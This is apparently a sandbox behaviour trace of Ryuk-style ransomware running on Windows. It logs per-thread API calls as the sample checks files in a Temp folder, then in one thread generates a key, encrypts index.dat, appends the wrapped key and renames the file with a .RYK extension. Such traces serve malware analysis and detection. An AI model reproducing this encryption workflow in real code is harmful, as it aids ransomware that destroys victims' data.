	[0251.837] ReadFile (in: hFile=0x7b4, lpBuffer=0xa0ff6b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa0ff620, lpOverlapped=0x0 | out: lpBuffer=0xa0ff6b0*, lpNumberOfBytesRead=0xa0ff620*=0x19, lpOverlapped=0x0) returned 1
	[0251.839] CloseHandle (hObject=0x7b4) returned 1

Thread:
	id = 2894
	os_tid = 0x3294

	[0250.382] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dL0Fi75.mp4.RYK", dwFileAttributes=0x80) returned 1
	[0251.840] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dL0Fi75.mp4.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\dl0fi75.mp4.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4
	[0251.841] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0xa32fc98 | out: lpFileSize=0xa32fc98*=15890) returned 1
	[0251.841] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0xa32fca8 | out: lpFileSize=0xa32fca8*=15890) returned 1
	[0251.841] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x3cf0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0251.841] ReadFile (in: hFile=0x7b4, lpBuffer=0xa32fcf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa32fc60, lpOverlapped=0x0 | out: lpBuffer=0xa32fcf0*, lpNumberOfBytesRead=0xa32fc60*=0x19, lpOverlapped=0x0) returned 1
	[0251.843] CloseHandle (hObject=0x7b4) returned 1

Thread:
	id = 2895
	os_tid = 0x3298

	[0250.383] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ejt2Fb952ZvwQ.pps.RYK", dwFileAttributes=0x80) returned 1
	[0251.845] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ejt2Fb952ZvwQ.pps.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ejt2fb952zvwq.pps.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4
	[0251.845] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0xa51f738 | out: lpFileSize=0xa51f738*=91042) returned 1
	[0251.845] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0xa51f748 | out: lpFileSize=0xa51f748*=91042) returned 1
	[0251.845] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x16280, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0251.845] ReadFile (in: hFile=0x7b4, lpBuffer=0xa51f790, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa51f700, lpOverlapped=0x0 | out: lpBuffer=0xa51f790*, lpNumberOfBytesRead=0xa51f700*=0x19, lpOverlapped=0x0) returned 1
	[0251.848] CloseHandle (hObject=0x7b4) returned 1

Thread:
	id = 2896
	os_tid = 0x329c

	[0250.383] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\etQIDu5e2VcL.wav.RYK", dwFileAttributes=0x80) returned 1
	[0251.849] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\etQIDu5e2VcL.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\etqidu5e2vcl.wav.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4
	[0251.850] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0xa6cfb38 | out: lpFileSize=0xa6cfb38*=86466) returned 1
	[0251.850] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0xa6cfb48 | out: lpFileSize=0xa6cfb48*=86466) returned 1
	[0251.850] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x150a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0251.850] ReadFile (in: hFile=0x7b4, lpBuffer=0xa6cfb90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa6cfb00, lpOverlapped=0x0 | out: lpBuffer=0xa6cfb90*, lpNumberOfBytesRead=0xa6cfb00*=0x19, lpOverlapped=0x0) returned 1
	[0251.852] CloseHandle (hObject=0x7b4) returned 1

Thread:
	id = 2897
	os_tid = 0x32a0

	[0250.384] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\F8_7cJIxa0Q9_.mp3.RYK", dwFileAttributes=0x80) returned 1
	[0251.854] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\F8_7cJIxa0Q9_.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\f8_7cjixa0q9_.mp3.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4
	[0251.854] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0xa8bf978 | out: lpFileSize=0xa8bf978*=29250) returned 1
	[0251.854] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0xa8bf988 | out: lpFileSize=0xa8bf988*=29250) returned 1
	[0251.854] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x7120, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0251.854] ReadFile (in: hFile=0x7b4, lpBuffer=0xa8bf9d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa8bf940, lpOverlapped=0x0 | out: lpBuffer=0xa8bf9d0*, lpNumberOfBytesRead=0xa8bf940*=0x19, lpOverlapped=0x0) returned 1
	[0251.856] CloseHandle (hObject=0x7b4) returned 1

Thread:
	id = 2898
	os_tid = 0x32a4

	[0250.385] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FD_LfsLgv.swf.RYK", dwFileAttributes=0x80) returned 1
	[0251.858] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FD_LfsLgv.swf.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fd_lfslgv.swf.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4
	[0251.858] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0xaa6f598 | out: lpFileSize=0xaa6f598*=90146) returned 1
	[0251.858] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0xaa6f5a8 | out: lpFileSize=0xaa6f5a8*=90146) returned 1
	[0251.858] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x15f00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0251.858] ReadFile (in: hFile=0x7b4, lpBuffer=0xaa6f5f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xaa6f560, lpOverlapped=0x0 | out: lpBuffer=0xaa6f5f0*, lpNumberOfBytesRead=0xaa6f560*=0x19, lpOverlapped=0x0) returned 1
	[0251.861] CloseHandle (hObject=0x7b4) returned 1

Thread:
	id = 2899
	os_tid = 0x32a8

	[0250.386] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fJGiIRlEOvBHcXPfy.pdf", dwFileAttributes=0x80) returned 1
	[0251.862] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fJGiIRlEOvBHcXPfy.pdf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fjgiirleovbhcxpfy.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4
	[0251.863] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0xa20fd18 | out: lpFileSize=0xa20fd18*=64322) returned 1
	[0251.863] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0xa20fd28 | out: lpFileSize=0xa20fd28*=64322) returned 1
	[0251.863] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0xfa20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0251.863] ReadFile (in: hFile=0x7b4, lpBuffer=0xa20fd70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa20fce0, lpOverlapped=0x0 | out: lpBuffer=0xa20fd70*, lpNumberOfBytesRead=0xa20fce0*=0x19, lpOverlapped=0x0) returned 1
	[0251.865] CloseHandle (hObject=0x7b4) returned 1
	[0251.866] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fJGiIRlEOvBHcXPfy.pdf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fjgiirleovbhcxpfy.pdf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fJGiIRlEOvBHcXPfy.pdf.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fjgiirleovbhcxpfy.pdf.ryk"), dwFlags=0x8) returned 1
	[0252.236] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fJGiIRlEOvBHcXPfy.pdf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fjgiirleovbhcxpfy.pdf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fJGiIRlEOvBHcXPfy.pdf.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fjgiirleovbhcxpfy.pdf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2900
	os_tid = 0x32ac

	[0250.386] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt", dwFileAttributes=0x80) returned 1
	[0250.387] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fxsapidebuglogfile.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.388] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.388] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fxsapidebuglogfile.txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fxsapidebuglogfile.txt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2901
	os_tid = 0x32b0

	[0250.792] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\index.dat", dwFileAttributes=0x80) returned 1
	[0256.494] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\history.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824
	[0256.496] GetFileSizeEx (in: hFile=0x824, lpFileSize=0xad8f878 | out: lpFileSize=0xad8f878*=16384) returned 1
	[0256.496] GetFileSizeEx (in: hFile=0x824, lpFileSize=0xad8f888 | out: lpFileSize=0xad8f888*=16384) returned 1
	[0256.496] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x3ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.497] ReadFile (in: hFile=0x824, lpBuffer=0xad8f8d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xad8f840, lpOverlapped=0x0 | out: lpBuffer=0xad8f8d0*, lpNumberOfBytesRead=0xad8f840*=0x19, lpOverlapped=0x0) returned 1
	[0256.501] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.501] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0xad8f858 | out: phKey=0xad8f858*=0x2b9450) returned 1
	[0256.501] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.501] ReadFile (in: hFile=0x824, lpBuffer=0x4390000, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0xad8f864, lpOverlapped=0x0 | out: lpBuffer=0x4390000*, lpNumberOfBytesRead=0xad8f864*=0x4000, lpOverlapped=0x0) returned 1
	[0256.503] CryptEncrypt (in: hKey=0x2b9450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0xad8f860*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0xad8f860*=0xf4250) returned 1
	[0256.503] CryptEncrypt (in: hKey=0x2b9450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4390000*, pdwDataLen=0xad8f868*=0x4000, dwBufLen=0xf4250 | out: pbData=0x4390000*, pdwDataLen=0xad8f868*=0x4010) returned 1
	[0256.503] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.504] WriteFile (in: hFile=0x824, lpBuffer=0x4390000*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0xad8f864, lpOverlapped=0x0 | out: lpBuffer=0x4390000*, lpNumberOfBytesWritten=0xad8f864*=0x4010, lpOverlapped=0x0) returned 1
	[0256.506] WriteFile (in: hFile=0x824, lpBuffer=0xad8f890*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0xad8f870, lpOverlapped=0x0 | out: lpBuffer=0xad8f890*, lpNumberOfBytesWritten=0xad8f870*=0x6, lpOverlapped=0x0) returned 1
	[0256.506] CryptExportKey (in: hKey=0x2b9450, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xad8f880 | out: pbData=0x0*, pdwDataLen=0xad8f880*=0x10c) returned 1
	[0256.506] CryptExportKey (in: hKey=0x2b9450, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0xad8f8f0, pdwDataLen=0xad8f880 | out: pbData=0xad8f8f0*, pdwDataLen=0xad8f880*=0x10c) returned 1
	[0256.506] WriteFile (in: hFile=0x824, lpBuffer=0xad8f8f0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0xad8f870, lpOverlapped=0x0 | out: lpBuffer=0xad8f8f0*, lpNumberOfBytesWritten=0xad8f870*=0x10c, lpOverlapped=0x0) returned 1
	[0256.506] CloseHandle (hObject=0x824) returned 1
	[0256.518] CryptDestroyKey (hKey=0x2b9450) returned 1
	[0256.518] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\history.ie5\\index.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2937
	os_tid = 0x3348


Thread:
	id = 2992
	os_tid = 0x2e20

	[0256.531] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\HM2Ftlx uiQ.png.RYK", dwFileAttributes=0x80) returned 1
	[0256.532] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\HM2Ftlx uiQ.png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\hm2ftlx uiq.png.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824
	[0256.533] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x8c3fcd8 | out: lpFileSize=0x8c3fcd8*=43090) returned 1
	[0256.533] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x8c3fce8 | out: lpFileSize=0x8c3fce8*=43090) returned 1
	[0256.533] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0xa730, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.533] ReadFile (in: hFile=0x824, lpBuffer=0x8c3fd30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c3fca0, lpOverlapped=0x0 | out: lpBuffer=0x8c3fd30*, lpNumberOfBytesRead=0x8c3fca0*=0x19, lpOverlapped=0x0) returned 1
	[0256.536] CloseHandle (hObject=0x824) returned 1

Thread:
	id = 2993
	os_tid = 0x2e1c

	[0256.538] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\J_-R87.mkv.RYK", dwFileAttributes=0x80) returned 1
	[0256.539] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\J_-R87.mkv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\j_-r87.mkv.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824
	[0256.539] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x8e1f798 | out: lpFileSize=0x8e1f798*=42978) returned 1
	[0256.539] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x8e1f7a8 | out: lpFileSize=0x8e1f7a8*=42978) returned 1
	[0256.539] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0xa6c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.539] ReadFile (in: hFile=0x824, lpBuffer=0x8e1f7f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8e1f760, lpOverlapped=0x0 | out: lpBuffer=0x8e1f7f0*, lpNumberOfBytesRead=0x8e1f760*=0x19, lpOverlapped=0x0) returned 1
	[0256.543] CloseHandle (hObject=0x824) returned 1

Thread:
	id = 2994
	os_tid = 0x2f58

	[0256.545] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ki2c.avi.RYK", dwFileAttributes=0x80) returned 1
	[0256.546] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ki2c.avi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ki2c.avi.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824
	[0256.546] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x905f618 | out: lpFileSize=0x905f618*=16610) returned 1
	[0256.546] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x905f628 | out: lpFileSize=0x905f628*=16610) returned 1
	[0256.546] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x3fc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.546] ReadFile (in: hFile=0x824, lpBuffer=0x905f670, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x905f5e0, lpOverlapped=0x0 | out: lpBuffer=0x905f670*, lpNumberOfBytesRead=0x905f5e0*=0x19, lpOverlapped=0x0) returned 1
	[0256.549] CloseHandle (hObject=0x824) returned 1

Thread:
	id = 2995
	os_tid = 0x2e60

	[0256.550] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\l1ORf0q2ulaDN.bmp.RYK", dwFileAttributes=0x80) returned 1
	[0256.551] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\l1ORf0q2ulaDN.bmp.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\l1orf0q2uladn.bmp.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824
	[0256.551] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x941fc18 | out: lpFileSize=0x941fc18*=5570) returned 1
	[0256.551] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x941fc28 | out: lpFileSize=0x941fc28*=5570) returned 1
	[0256.552] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x14a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.552] ReadFile (in: hFile=0x824, lpBuffer=0x941fc70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x941fbe0, lpOverlapped=0x0 | out: lpBuffer=0x941fc70*, lpNumberOfBytesRead=0x941fbe0*=0x19, lpOverlapped=0x0) returned 1
	[0256.554] CloseHandle (hObject=0x824) returned 1

Thread:
	id = 2996
	os_tid = 0x3118

	[0256.556] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lQxu.png.RYK", dwFileAttributes=0x80) returned 1
